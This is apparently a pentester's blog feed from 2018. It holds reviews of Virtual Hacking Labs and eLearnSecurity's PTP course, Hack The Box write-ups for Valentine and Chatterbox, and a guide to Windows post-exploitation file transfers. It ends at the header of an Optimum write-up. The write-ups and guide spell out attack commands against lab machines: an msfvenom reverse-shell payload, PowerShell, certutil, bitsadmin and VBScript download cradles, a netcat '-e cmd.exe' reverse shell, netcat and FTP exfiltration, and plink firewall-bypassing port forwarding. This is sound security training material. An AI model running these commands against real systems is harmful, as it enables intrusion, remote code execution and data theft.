I opted for the monthly pass which includes everything they have to offer including 31 days of access to the lab environment.

Demo and Purchasing

Virtual Hacking Labs offers a free course sample that you can request before purchase. The sample includes an introduction of what they have to offer, what is included when you buy a pass and includes a subset of the course material to see if you like the course content.

Purchasing your access pass is as simple as selecting one, filling in the required information and account credentials and choosing a payment method. They offer several payment methods including PayPal, Credit Card and iDeal. I used iDeal when making my purchase which made the process a seamless experience.

While the Virtual Hacking Labs website states that memberships will be processed and activated within 24 hours of purchase I received an email with VPN access credentials a few minutes after payment allowing me to access course materials and the lab almost instantly.

A note on pricing before purchase, the Virtual Hacking Labs website lists pricing without tax, keep this in mind while purchasing the course as they do add tax on checkout if required by law. Of further note is the price listing in Euros which is something to keep in mind for non-European’s that consider to purchase the course.

The Course Content

The course content is split up in ten chapters, one of which is dedicated to a manual on how to access the practical lab over a VPN connection. This leaves nine chapters of actual penetration testing content that include.

Penetration Testing Basics
Information Gathering
Vulnerability Assessment
Exploitation
Privilege Escalation
Web Applications
Password Attacks
Networking and Shells
Metasploit

The course itself can be seen as an introductory course and is very beginner friendly. The course does a good job introducing you to the penetration testing process and methodology and is designed in such a way that you can follow along and try the concepts that are explained in the materials on the well-known Metasploitable 2 virtual machine. This machine is available in the Virtual Hacking Labs lab environment so you do not have to go through the hassle of setting up your own.

The use of the Metasploitable 2 virtual machine and the “follow along” approach throughout the course is clever, it solidifies the theoretical concepts that are explained in the course materials and prepares you well for the beginner machines in the lab without spoiling solutions on the other machines.

The Online Course Dashboard

If you purchase a month or longer access pass you can download an offline copy of the course materials in PDF format. For beginners however, it is probably more intuitive to follow the course in its online format. Using the online format allows you to mark chapters as complete making it easy to track your progress.

Marking chapters as complete makes the course progress bar fill up giving you a sense of accomplishment as you work your way through the course materials.

The Lab

The lab is a shared penetration testing lab, meaning you share a lab with other students that are also taking the course. The lab consists of around thirty-five vulnerable machines with a variety of operating systems. Operating systems include but are not limited to: Windows, Linux, FreeBSD, Nas4Free and even Android.

The lab machines are split up in three categories.

Beginner
Advanched
Advanched+

As the name implies beginner machines are meant for beginners, those that just finished the course materials or with some previous experience in the field. Solutions to these machines can often be found within the course content. Beginner machines also have clear hints available in the lab dashboard to push you in the right direction if you are stuck. Furthermore, most beginner machines do not require complex privilege escalation techniques and an initial shell usually results in the highest privileges possible.

The advanched machines offer a bigger challenge. They usually require you to jump through more hoops to gain an initial shell on the machine. As with the beginner machines the lab dashboard offers several cryptic hints on these machines. The hints do a good job pushing you in the right direction without handing you the solution. Compared to their beginner counterparts advanced machines often require privilege escalation techniques to gain the highest level of privileges once you gained an initial foothold.

The advanched+ machines offer the highest challenge in the labs. Unlike the beginner and advanched machines these machines do not contain any hints within the lab dashboard. Gaining an initial shell and the highest levels of privileges on these machines often requires more advanched techniques that are not always covered within the course materials. Compromising these machines often means going beyond the course materials and finding new solutions on your own.

The virtual machine creators did a good job creating and balancing the lab, making sure to include several older but also more modern and up to date operating systems and vulnerabilities. Vulnerable software, bad update practices, weak credentials, configuration errors and poorly written code seem to be the Virtual Hacking Labs mantra. I like this approach as it teaches you what to look for in real world engagements without the fluff some other CTF style labs use to make the challenge harder in an artificial way.

The Online Lab Dashboard

The lab dashboard follows the same approach as the Course Dashboard. On the dashboard you can find the names and IP addresses of lab machines, the machine difficulty and how many students marked the machine as complete. Like the course progress bar, the lab progress bar will fill up if you mark the machines you completed giving you a sense of accomplishment while you work your way through the lab.

Depending on the difficulty of the machine clicking on its name brings you to a page with various hints and links to related course materials to review again if you are stuck. The links to the course materials usually are enough to refresh your memory and get you going again. I highly recommend only using the hints on a machine if you are really stuck. Doing another machine first and coming back later or taking a small break is usually a better solution than using the hints.

Study Tips

Take your time with the course you get out of it what you put into it
Use the Metasploitable 2 machine to follow along with the materials
Use the course and lab progress bar to keep track of your progress
Try not to use the hints, referencing the linked course materials usually is enough to push you in the right direction

The Certificate of Completion

To be eligible for the Certificate of Completion you must purchase a pass that grants at least a month of lab access. Furthermore, you must fully compromise at least twenty machines and gain root/system level privileges while documenting your efforts in a penetration test report. The report must conform to certain guidelines that are explained by Virtual Hacking Labs on this page (only accessible for members).

After you finish writing your report you can sent an email to Virtual Hacking Labs and request your Certificate of Completion, they will verify your report and if everything is in order sent you the Certificate of Completion in PDF format by email. For my report I used a heavily modified version of the Offensive Security penetration test report. If you need inspiration there are several other penetration test reports available publicly, they can be found here.

The Certificate of Completion is a nice way to feel like you accomplished something worthwhile just like the course and lab dashboard give you a sense of accomplishment throughout the course. The certificate does not currently hold a lot of value in the market but is a welcome addition to the course nonetheless.

Certificate of Completion Tips

Make good notes while working on a machine
Make frequent screenshots during the process
Make your documentation immediately after compromising a machine
Save any payload commands you use, you need them for your report
Do not forget to grab the contents of the key.txt file from a machine
Do not forget to make a proof screenshot once you gained root/system access

Conclusion

While the course materials will probably not teach you a lot of new techniques if you are a seasoned penetration tester it is a very well designed and practical course for aspiring penetration testers or IT professionals that want to learn more about offensive techniques. A solid background in computer networking, operating systems, and a basic understanding of Python will benefit you while going through the course materials.

The lab offers a good number of vulnerable machines ranging in difficulty appeasing both beginners and more experienced individuals. What I really like here is the real-world approach in which the lab machines are designed. If you are an aspiring penetration tester or IT professional with an interest in learning offensive techniques I highly recommend Virtual Hacking Labs. The week pass is cheap and allows you to try them out for what is practically as expensive as night out, I assure you, you will learn something worthwhile and have a lot of fun along the way.

Hack The Box Write-Up Valentine

hello@isroot.nl (Michael Thelen) — Mon, 30 Jul 2018 00:00:00 +0100

Hack The Box is an online platform that hosts virtual machines that are vulnerable by design to sharpen one’s penetration testing and security skills. Valentine was a fun machine to compromise as it suffers from a very well-known vulnerability. In addition to this well-known vulnerability one needs several other puzzle pieces to gain root access. This makes the Valentine machine an interesting learning experience.

Tools Used

Nmap
Firefox
Gobuster
Base64 and Hex en- and decoding
Searchsploit
Python
SSH Client
Tmux

Enumeration: Nmap

Running an initial scan with Nmap reveals ports 22, 80 and 443 are open.

Running a targeted service scan against ports 22, 80 and 443 reveals an OpenSSH server and the Apache webserver. Both services have out of date version numbers making it highly likely that the operating system running on the machine is out of date.

Enumeration: Firefox

A visit to the website on port 443 and 80 with the Firefox browser reveals an image with the heartbleed logo but not much else.

Enumeration: Gobuster

Digging a bit deeper a Gobuster scan reveals several interesting directories that are worth investigating.

Enumeration: Firefox Continued

The encode directory seems to contain an encoder of some sort.

Testing the encoder with the string “test” reveals encoded text. Looking at the output the encoder most likely uses base64 as the encoding scheme.

Running the echo command with the output of the encoder and piping it to base64 -d to decode reveals the initial “test” string. This confirms the encoder uses base64 as encoding scheme.

Investigating further the dev directory reveals several interesting files.

Investigating the hype_key file reveals a lot of text. Looking at the output it seems like the contents is encoded with hex.

Using an online tool to decode the hex to ascii reveals what appears to be an encrypted SSH private key file.

Enumeration: Nmap Continued

The image discovered in the root of the website gives a strong hint towards the Heartbleed vulnerability. Because of this it is good practice to investigate if the machine is vulnerable.

An Nmap scan confirms that the Valentine machine is vulnerable to the Heartbleed bug.

Enumeration: Searchsploit

A quick search with searchsploit reveals several public exploits for the Heartbleed bug.

As Python is my language of choice I copy the Python exploit from the local exploit database.

Exploitation: Heartbleed Memory

Enumerating the memory of the machine with the Python exploit reveals a base64 encoded string. At first this does not seem like much but realising that a base64 encoder and decoder is hosted on the server makes this a bit suspicious.

Decoding the base64 string from the memory dump reveals something that looks a lot like a passphrase that might be a match with the previously discovered hype_key SSH private key file.

Exploitation: Initial Shell

Using SSH with the hype_key private key and the passphrase recovered from memory results in an initial shell on the target as the hype user.

Privilege Escalation

Investigating the home directory of the Hype user reveals the .bash_history file. This seems out of place as this functionality is usually disabled on Hack The Box machines.

Investigating further the .bash_history file reveals some interesting contents. The Hype user seems to have been running Tmux and created a Tmux socket file that is saved to /.dev/dev_sess.

Investigating the Tmux socket file reveals it is owned by the root user and has the SUID bit set. Also note that the group hype has read/write privileges on the file making it possible to use it.

Exploitation: Root

Attaching to the Tmux socket file with the command tmux -S /.devs/dev_sess grants root privileges fully compromising the Valentine machine.

Remediation

The Valentine machine hosted several sensitive files on a publicly accessible webserver. Furthermore, the Valentine machine runs an outdated operating system and outdated software making it vulnerable to the Heartbleed bug. This in turn made it possible to extract sensitive information from memory leading to a low privileged SSH session. After gaining access to the machine several configuration errors where discovered that made it possible to escalate privileges to the root user.

Remove all sensitive files from the public webserver
Update the operating system and installed software to a supported version to protect against known vulnerabilities
Configure Bash history in such a way that it clears the history when logging out
Prevent the use of SUID bits on files that can be read and or written to by other users than root and leverage sudo to elevate privileges instead

Hack The Box Write-Up Chatterbox

hello@isroot.nl (Michael Thelen) — Mon, 16 Jul 2018 00:00:00 +0100

Hack The Box is an online platform that hosts virtual machines that are vulnerable by design to sharpen one’s penetration testing and security skills. Gaining system access on the Chatterbox machine is not very complex as an initial low privilege shell can be obtained through a service with a known vulnerability and publicly available exploit. Elevating privileges and gaining system access can be a bit more challenging as it requires some more advanced techniques.

Tools Used

Nmap
Searchsploit
Python
Msfvenom
Ncat
Reg query, Netstat and Certutil
Python’s SimpleHTTPServer
Plink
ImPacket Psexec.py

Enumeration: Nmap

Running an initial scan with Nmap reveals no open ports.

Investigating further, a full TCP port scan with the options -n -Pn -T5 to speed up the scan reveals ports 9255 and 9256 are open.

Running a targeted service scan against both ports reveals the AChat service.

Exploitation: Searchsploit

A quick search with searchsploit reveals two public exploits for the AChat service.

As Python is my language of choice I copy the Python exploit from the local exploit database to investigate and modify it where necessary.

Inspecting the exploits code reveals it is a buffer overflow exploit.

The author of the exploit included the msfvenom command used to generate the exploits shellcode. Upon successfully exploiting the buffer overflow the shellcode executes the calculator application as a proof of concept.

Further inspection of the exploit code reveals a hard-coded IP address that needs to be changed to the IP address of the victim.

Exploitation: Initial Shell

As noted earlier, the shellcode of the exploit executes calculator upon successful exploitation. To gain a shell on the victim the shellcode needs to be replaced with a shellcode that connects back to the attacking machine to create a reverse shell.

A new shellcode can be generated with following msfvenom command. Note the use of EXITFUNC=thread to make an application crash less likely when the process crashes or exits.

1

msfvenom -p windows/shell_reverse_tcp LHOST=10.10.14.17 LPORT=443 EXITFUNC=thread -a x86 --platform windows -e x86/unicode_mixed -b '\x00\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff' BufferRegister=EAX -f python

Now that the old shellcode is replaced and the IP of the victim is changed an Ncat listener should be prepared on port 443.

Executing the modified exploit with Python.

The victim connects back to the Ncat listener creating a low privilege reverse shell as the user Alfred.

Privilege Escalation

Windows privilege escalation techniques are worth a post on their own. For now, what is relevant is that a registry query for default logon credentials reveals a stored clear text password.

1

reg query "HKLM\SOFTWARE\Microsoft\Windows NT\Currentversion\Winlogon" 2>nul | findstr "DefaultUserName DefaultPassword"

Further investigation with the netstat command line utility reveals the Windows SMB service is listening on port 445. Port 445 is not available externally as it did not show up on the Nmap scan results during the enumeration phase. External access to port 445 is likely blocked by the Windows firewall.

With some clever port forwarding techniques it is possible to make port 445 available to the attacking machine even with the firewall blocking external access. To create a port forward for port 445 the plink.exe command line utility can be leveraged. Before the port forward can be executed the plink.exe utility needs to be transferred to the victim machine.

More about techniques to transfer files to a Windows victim can be found in a previous post here.

Copying and compressing the plink.exe executable and preparing the Python SimpleHTTPServer on port 80 to serve the plink.exe utility over HTTP.

Preparing the OpenSSH server on the attacking machine to allow the port forward that will be initiated from the victim.

Now that the Python SimpleHTTPServer is running the certutil.exe command line utility on the victim can be leveraged to download plink.exe.

Now that the plink.exe command line utility is available on the victim a port forward for port 445 can be initiated. The port forward makes port 445 available on the attacking machine at the address 127.0.0.1 also known as the loopback or localhost interface.

1

plink.exe -l root -R 445:127.0.0.1:445 10.10.14.17

To verify the port forward was successful the netstat command line utility can be run on the attacking machine. Here port 445 is in a listening state on the loopback interface confirming that the port forward was successful.

Exploitation: System

Now that port 445 is available on the attacking machine and the firewall is bypassed the Windows SMB service is open to attack. Creating a shell with the discovered clear text password is trivial with the popular ImPacket Psexec Python script from Core Security.

Remediation

The latest AChat software is vulnerable to a buffer overflow that leads to a low privilege shell. The shell exposes the Windows SMB service running on the victim. After some clever use of port forwarding a system shell can be initiated over SMB with the recovered clear text password gaining system access and fully compromising the machine.

The Chatterbox compromise serves as a good example of why machine hardening and outbound traffic filtering are important aspects of system security that should not be overlooked.

The following configuration changes should be considered to mitigate risk.

Limit the use and storage of clear text credentials when possible
Access to the AChat service should be disabled and alternatives should be researched as there is no patch available for the discovered vulnerability
Consider disabling the Windows SMB service and other unneeded services to reduce the attack surface of the machine
Consider configuring the firewall to block outgoing traffic for applications that do not need network access

Furthermore, the following policy changes should be considered.

Implement strong password policy guidelines and enforce those guidelines where possible
Develop and implement a system hardening policy to reduce the attack surface of new and existing machines

Post Exploitation File Transfers on Windows the Manual Way

hello@isroot.nl (Michael Thelen) — Mon, 09 Jul 2018 00:00:00 +0100

No Metasploit! you told yourself, as you accepted the challenge of creating an exploit manually. Taking your time carefully preparing the exploit, will it work, will I get a shell? You run the exploit and are greeted with a reverse cmd.exe shell on the Windows victim, your excitement soon fades however as the post exploitation phase begins you need a way to transfer files. Fear not as there is a multitude of ways to transfer files to and from a Windows victim without advanced tools such as Metasploit.

The victim machine for this how-to is Jerry a machine from the Hack The Box pen-testing labs. Jerry is a fairly up to date Windows Server 2012 R2 machine. For the purpose of this how-to the machine is already exploited and a simple reverse shell is established from the victim to the attacker.

For demonstration purposes the nc.exe executable will be used. Nc.exe is already compressed and copied into the ~/how-to directory on the attacking machine. The ~/how-to directory will serve as the root directory for several tools that will be used to transfer files to and from the victim machine.

HTTP

The simplest way to transfer files to a Windows victim is over HTTP because several default Windows utilities can be leveraged download files over this protocol.

Kali has the Python SimpleHTTPServer module installed by default. This Python module can be leveraged to host a simple HTTP server that listens for incoming connections on any port of your choosing. Generally, port 80 and 443 are good choices as they aren’t usually blocked by edge firewalls.

Here the Python SimpleHTTPServer module is prepared and listening on port 80 making all files within the ~/how-to directory available over HTTP.

Let’s see how several default Windows utilities can be leveraged to download files now that the HTTP server is running.

HTTP and PowerShell

PowerShell, installed by default on most modern versions of Windows can be leveraged to download files over HTTP in several ways. Not all commands work on all Windows versions as some commands depend on newer versions of PowerShell and the available PowerShell modules on the victim.

1

powershell.exe -c (new-object System.Net.WebClient).DownloadFile('http://10.10.14.17/nc.exe','c:\temp\nc.exe')

1

powershell.exe -c (Start-BitsTransfer -Source "http://10.10.14.17/nc.exe -Destination C:\temp\nc.exe")

1

powershell.exe wget "http://10.10.14.17/nc.exe" -outfile "c:\temp\nc.exe"

HTTP and Certutil

Certutil.exe a built-in command line utility to manage certificates and certificate authorities on Windows can be leveraged to download files over HTTP in the following way.

1

certutil.exe -urlcache -split -f "http://10.10.14.17/nc.exe" c:\temp\nc.exe

HTTP and Bitsadmin

The Background Intelligent Transfer Service, BITS for short and the built-in bitsadmin.exe command line utility can also be leveraged to download files over HTTP in the following way.

1

bitsadmin /transfer job /download /priority high http://10.10.14.17/nc.exe c:\temp\nc.exe

HTTP and VBScript

VBScript is a scripting language available on most versions of Windows and can also be leveraged to download files over HTTP. The following VBScript can be transferred to a victim by copy and pasting it between terminals on the attacker and victim machines.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25


echo strUrl = WScript.Arguments.Item(0) > wget.vbs
echo StrFile = WScript.Arguments.Item(1) >> wget.vbs
echo Const HTTPREQUEST_PROXYSETTING_DEFAULT = 0 >> wget.vbs
echo Const HTTPREQUEST_PROXYSETTING_PRECONFIG = 0 >> wget.vbs
echo Const HTTPREQUEST_PROXYSETTING_DIRECT = 1 >> wget.vbs
echo Const HTTPREQUEST_PROXYSETTING_PROXY = 2 >> wget.vbs
echo Dim http, varByteArray, strData, strBuffer, lngCounter, fs, ts >> wget.vbs
echo Err.Clear >> wget.vbs
echo Set http = Nothing >> wget.vbs
echo Set http = CreateObject("WinHttp.WinHttpRequest.5.1") >> wget.vbs
echo If http Is Nothing Then Set http = CreateObject("WinHttp.WinHttpRequest") >> wget.vbs
echo If http Is Nothing Then Set http = CreateObject("MSXML2.ServerXMLHTTP") >> wget.vbs
echo If http Is Nothing Then Set http = CreateObject("Microsoft.XMLHTTP") >> wget.vbs
echo http.Open "GET", strURL, False >> wget.vbs
echo http.Send >> wget.vbs
echo varByteArray = http.ResponseBody >> wget.vbs
echo Set http = Nothing >> wget.vbs
echo Set fs = CreateObject("Scripting.FileSystemObject") >> wget.vbs
echo Set ts = fs.CreateTextFile(StrFile, True) >> wget.vbs
echo strData = "" >> wget.vbs
echo strBuffer = "" >> wget.vbs
echo For lngCounter = 0 to UBound(varByteArray) >> wget.vbs
echo ts.Write Chr(255 And Ascb(Midb(varByteArray,lngCounter + 1, 1))) >> wget.vbs
echo Next >> wget.vbs
echo ts.Close >> wget.vbs

Copy and pasting the code above will use the echo command to create a file on the victim with the name wget.vbs. This VBScript file can then be leveraged to download files over HTTP with the following command.

1

cscript /nologo wget.vbs http://10.10.14.17/nc.exe nc.exe

SMB

HTTP is a good way to get files from the attacking machine to the victim however there are other protocols and native utilities in Windows that can be leveraged to transfer files to and from the victim. SMB is such a protocol and is widely used within Windows environments. The protocol is usually blocked on edge firewalls so an initial foothold within the internal network is usually necessary to make use of SMB file transfers.

To simulate an SMB server on Kali the very popular ImPacket Python scripts from Core Security can be used. The ImPacket scripts are installed by default but a more recent version can usually be found at the aforementioned GitHub link.

Here the ImPacket SMB server is prepared to listen for incoming connections on a share called SHARE using the ~/how-to directory as the root directory for file sharing.

1

python /usr/share/doc/python-impacket/examples/smbserver.py SHARE ~/how-to/

The victim can now list the SMB share SHARE on the attacking machine.

1

net view \\10.10.14.17

Now that an SMB server is running on the attacking machine and the victim can see the share standard Windows command line utilities can be leveraged to view, up- and download files.

Viewing available files on the SMB share.

1

dir \\10.10.14.17\SHARE

Downloading the nc.exe file to the victim.

1

copy \\10.10.14.17\SHARE\nc.exe .

With SMB files can also be uploaded from the victim to the attacker.

1

copy nc2.exe \\10.10.14.17\SHARE\nc2.exe

Verifying the file is indeed uploaded from the victim to the attacker.

Executing files over SMB is also possible, to demonstrate this nc.exe hosted on SHARE on the attacking machine can be leveraged to establish a reverse shell. An Ncat listener op port 4444 is prepared on the attacking machine to catch the connection.

Executing nc.exe over SMB on the victim. Note that the executable is not copied to the victim but executed over SMB.

1

\\10.10.14.17\SHARE\nc.exe -nv 10.10.14.17 4444 -e cmd.exe

Catching the reverse connection on the attacker.

Netcat

Thus far Netcat has been used as an example file to be downloaded, uploaded and even executed over the network but Netcat itself can also be leveraged to transfer files between victim and attacker. For this to work Netcat has to be available on the victim machine.

To transfer a file from the victim to the attacker Ncat can be leveraged by piping input to a file. On the attacker an Ncat listener should be prepared that outputs incoming traffic to a file. To achieve this the > symbol can be used.

1

ncat -lvp 80 > nc2.exe

On the victim machine Netcat can be used to pipe a file into Netcat with the < symbol. The -w 15 option means Netcat waits for 15 seconds before closing the connection preventing your simple shell from hanging indefinitely. The bigger the file the more time it needs to transfer so adjust time accordingly.

1

nc -nv 10.10.14.17 < nc.exe -w 15

The victim will connect to the listener and transfer the file.

This neat trick also works the other way around by reversing the > and < symbol between attacker and victim. Edge firewalls can sometimes be evaded with this technique by using common ports such as 80 and 443.

FTP

Most Windows versions old and new offer a command line FTP client by default. This FTP client can be leveraged to transfer files between victim and attacker. However, the ftp.exe utility on Windows is an interactive program. To prevent a non-interactive reverse shell from hanging indefinitely an FTP command file can be used.

To transfer files over FTP an FTP server that hosts files is also needed. Hosting an FTP server on Kali can be achieved with the Pure-FTPd FTP server software. The Bash script below can be used to download and install the Pure-FTPd software and configure it with an FTP user with the username “ftp”, the password “password” and a /root/how-to/ directory as the FTP root.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11


#!/bin/bash
apt-get update && apt-get install pure-ftpd -y
groupadd ftpgroup
useradd -g ftpgroup -d /dev/null -s /etc ftpuser
pure-pw useradd ftp -u ftpuser -d /root/how-to
pure-pw mkdb
cd /etc/pure-ftpd/auth/
ln -s ../conf/PureDB 60pdb
mkdir -p /root/how-to
chown -R ftpuser:ftpgroup /root/how-to/
/etc/init.d/pure-ftpd restart

Now that the FTP server is setup and running an FTP command file is needed on the victim. This command file can be leveraged in conjunction with the FTP client software to automatically login to the FTP server and download (GET) or upload (PUT) a file within a non-interactive reverse shell.

Creating the ftp.txt command file can be done by copy and pasting the text below between attacker and victim terminals in the same way as the VBScript example discussed earlier. As with the VBScript example the “echo” command will create the ftp.txt command file on the victim after pasting.

1
2
3
4
5
6


echo open 10.10.14.17> ftp.txt
echo USER ftp>> ftp.txt
echo password>> ftp.txt
echo bin >> ftp.txt
echo GET nc.exe >> ftp.txt
echo bye >> ftp.txt

Now that the ftp.txt command file is available on the victim it can be used to automate the download (or upload for that matter) with the following command.

1

ftp -v -n -s:ftp.txt

As FTP is a common protocol it is usually not blocked on edge firewalls and is a good way to exfiltrate data from a compromised victim.

TFTP

Thus far Jerry has been more than accommodating, however now it the time where using a fairly modern version of Windows is not an advantage as the TFTP command line utility is no longer installed by default on modern Windows versions.

It is possible however that an administrator installed it so it is certainly worth a mention, also the TFTP command line utility is still included by default on older versions of Windows such as Windows 2000 and Windows XP.

For TFTP file transfers to take place a TFTP server is needed. Luckily one is included with Kali.

The TFTP daemon can be started with the following command and because the TFTP protocol uses port 69 by default this port is used in the command.

1

atftpd --daemon --port 69 ~/how-to

Downloading a file from the attacking machine with TFTP can be achieved with the following command.

1

tftp -i 10.10.14.17 GET nc.exe

Uploading a file to the attacking machine with TFTP can be achieved with the following command.

1

tftp -i 10.10.14.17 PUT nc.exe

TFTP is a common protocol to make backups of configuration of network components such as switches and routers and is sometimes enabled within an internal network but is usually filtered at edge firewalls making it less likely to be used to over the internet.

Conclusion

While advanced tools such as Metasploit make it very easy for attackers to transfer files to and from victim machines using advanced tools may not always be possible.

Knowing how to transfer files manually using the default tools available on a victim increases your knowledge, flexibility and penetration testing skills, also knowing how to use the manual way has its charm.

eLearnSecurity Penetration Testing Professional v4 Review

hello@isroot.nl (Michael Thelen) — Mon, 02 Jul 2018 00:00:00 +0100

This review is about the eLearnSecurity Penetration Testing Professional v4 (PTP) course. Shortly after I completed the course and exam eLearnSecurity released the PTP v5, an update to the PTP v4 course materials. The plan comparison in this review is for the newer PTP v5 all other sections relate to the now deprecated PTP v4 course materials and exam.

After completing my eLearnSecurity Junior Penetration Tester v3 (eJPT) exam I was eager to learn more about penetration testing and the penetration testing process and methodology. Luckily eLearnSecurity offers a multitude of security courses and their Penetration Testing Professional v4 course seemed like a natural next step on the topic.

The PTP is a comprehensive hands-on course on professional penetration testing, that focuses on both the practical development and application of penetration testing skills as well as the penetration testing process and methodology. While the PTP course is certainly not cheap I opted to purchase the PTP course because I had a good experience while doing their eLearnSecurity PTS course and related eJPT exam.

Plan Comparison

The PTP course is available in three plans, barebone, full and elite.

The barebone plan is the PTP entry level offering and offers access to the course slides in HTML5 format. All the plans give lifetime access to the course slides but the video content, labs and “PowerShell for Pentesters” and “Ruby for Pentesters” modules are not included in the barebone plan.

The full plan is the middle of the pack and includes all of the above, the video material, 60 hours of lab access and instructor and community support on the eLearnSecurity community forums. While the forums have a low post volume the instructors and community members do respond to questions rather quickly and are helpful and friendly to beginners in the security field. The full plan also includes an eCPPT exam voucher. Take note though as the exam voucher included in this plan expires 180 days after purchase and if it expires you have to purchase a new voucher if you want to take the exam.

The elite plan has everything included in the full plan and offers 120 hours of lab access. The exam voucher included in this plan does not expire so if you want to take your time with the course materials this is the right plan for you. If you pass the exam this plan has the option to ship your shiny new certificate to your home address in physical form without additional cost.

The biggest advantage of the elite plan in my opinion is access to the “PowerShell for Pentesters” and “Ruby for Pentesters” modules. I have access to the PTP v5 materials and I especially like the addition of the PowerShell content. The elite plan also makes the course content available in a downloadable PDF format making it possible to index the PDF files locally and search through the materials for reference.

Demo and Purchasing

Before you purchase the course, you can try out a free demo by filling in your name and email address. You get access to a subset of the slide material to see if you like the content.

When you decide you want to enrol in the course you have to create an account on the eLearnSecurity website when you have done so you can purchase the course. I already had an account and verified my identity once before because of my earlier purchase of the PTS course but still received an email to verify my identity before my PTP purchase was allowed through.

The identity verification process is straight forward but does require you to upload your ID and credit card information through their web portal so be aware of this before purchase. The verification process took about a day after I uploaded the requested documents this was significantly longer than when I purchased the PTS course so I contacted support to check if they received my documentation and if everything was okay with my purchase. Support replied promptly and let me know everything was in order and a few hours later my documents where verified and I had access to the course material.

A note on pricing before purchase, the eLearnSecurity website lists pricing without tax, keep this in mind while purchasing the course as they do add tax on checkout if required by law, this can add a significant amount to your bill depending on your location.

The Course Content

The course content is split up in five main modules four of which relate to the exam. The Wi-Fi module is fun and informative and highly recommended if you have or are willing to purchase the required hardware but is not part of the exam itself and if you really want to safe to skip.

The main modules of the course are:

System Security
Web App Security
Wi-Fi Security
Network Security
Ruby

eLearnSecurity also provides additional guiding material on how to handle information during a penetration test and how to write a professional penetration test report. The mind mapping method learned in this material helped me a lot to keep track of information gathered while doing the labs and exam.

The course content is well made, composed with care and is laid out in such a way that it feels like you naturally progress through a module. This is especially true if you have a plan with video content and lab access and follow along with the videos and labs in between slides.

As far as I am aware there is no clear guidance on the order the modules should be completed in or with what module to start. While it is tempting to do the modules in order of appearance or follow the order in the syllabus, I recommend doing the modules in the following order to get the most out of the course.

Read the reporting guide
Read the guide on handling information
Do the WebApp security module
Read the guide on handling information again
Do the network security module
Do the Ruby module if you have access to it
Do the System Security Module
Do the Wi-Fi module if you have the hardware for it
Read the reporting guide again

The Videos

The slides and videos together prepare you well for the labs and exam and while I am not a huge fan of the intro music the videos themselves are well done and solidify the theory you learn in the course slides. In my opinion the videos are worth paying for and warrant a plan upgrade on their own.

The Labs

The labs are awesome and honestly the best part of the entire course! Each lab has a lab manual that usually has a short description of the lab scenario, a list of learning objectives, recommended tools to use during the lab and several tasks that help you to reach the labs end goal. Each lab manual also has a section with solutions to complete the lab if you get stuck. I recommend reading and trying the solutions in the labs even if you solved the lab goal on your own as they can give you more insight and another perspective on how to solve the lab challenge.

There are twenty-two labs in total covering topics such as web application and operating system enumeration and exploitation. Several labs focus on techniques for privilege escalation, pivoting and pillaging. There are also labs on client side exploitation, SQL injection, bypassing anti-virus software and several kinds of man in the middle attacks. The labs cover a wide range of hands on skills and topics that lay a good foundation for any aspiring penetration tester.

What I really liked about the eLearnSecurity labs is the way they are set up. Each lab is dedicated to you and you do not share the resources with other students. The time you spend in the labs is only counted if you have an active lab scenario running this means you do not have to worry about your purchased lab time ticking away if you are not spending time on the course.

In short labs are good hands-on experience that help you prepare for the exam and without them I doubt I would have passed the exam on my first try. If you did the labs and completed all of them without leaning on the solutions to much you will pass the practical part of the exam without much trouble.

Study Tips

Take your time with the course materials
Become comfortable with and learn to pivot in the labs, thank me later
Take your time in the labs and do them more than once before attempting the exam
When doing the labs do not jump to the solutions too quick but try to solve them yourself
Take some extra time for the materials on handling information, this will benefit you during the exam
Train the handling of information during your time in the labs, this will benefit you during the exam

The Exam

Over all the exam is a really fun and sometimes stressful experience. The exam is a 100 percent practical penetration test on a medium sized company network that is of course vulnerable by design. When starting the exam, you receive a letter- and scope of engagement to perform your penetration test. You have a total of 14 days for the exam, 7 days to perform your penetration test and an additional 7 days to write a professional penetration test report.

The exam covers all the materials in the course except the Wi-Fi, and Ruby modules. To pass the exam you have to reach a certain goal and find and document all vulnerabilities found along the way. If you studied and understood the course materials and did all the labs those 7 days will be plenty of time to complete your penetration test, reach the exam goal and find a multitude of vulnerabilities along the way to include in your report.

While most people dread documentation a professional penetration test report is part of the exam and in my experience a great learning opportunity. eLearnSecurity takes the report very seriously, it is graded as part of the exam and can make or break your passing score. Make sure to take your time to write a through report and document all vulnerabilities you found including any proof of concept exploits and remediation steps and you will pass the eCPPT exam.

For my final report I used a heavily modified version of the Offensive Security penetration test report. If you are in need of inspiration there are several other penetration test reports available publicly, they can be found here.

Exam Tips

Do all the labs several times before attempting the exam
Make yourself a cheat sheet with commands used during the labs
Use your gained knowledge on persistence, it will come in handy
Pillage, pillage, pillage! Did I say pillage?
Revisit the course materials and videos if you are stuck
Take your time to write and polish your report before submission
Enjoy the exam like the labs it is a really fun challenge to complete
Prepare a template penetration test report that you can use to document while doing the exam

Conclusion

The PTP course is well suited for IT professionals with a few years’ experience that want to broaden their knowledge about penetration testing or system and network security in general. A solid background in computer networking, operating systems, and a basic understanding of programming languages will benefit you while going through the course materials.

The course material itself is informative and to the point. The additional wireless module is fun and worth going through if you have the compatible hardware. All in all, I found the PTP a worthwhile course that expanded my knowledge about penetration testing and system and network security in general. The pricing of the higher paid plans is a bit steep but the additional video content and labs are worth the price.

Hack The Box Write-Up Optimum

hello@isroot.nl (Michael Thelen) — Mon, 25 Jun 2018 00:00:00 +0100

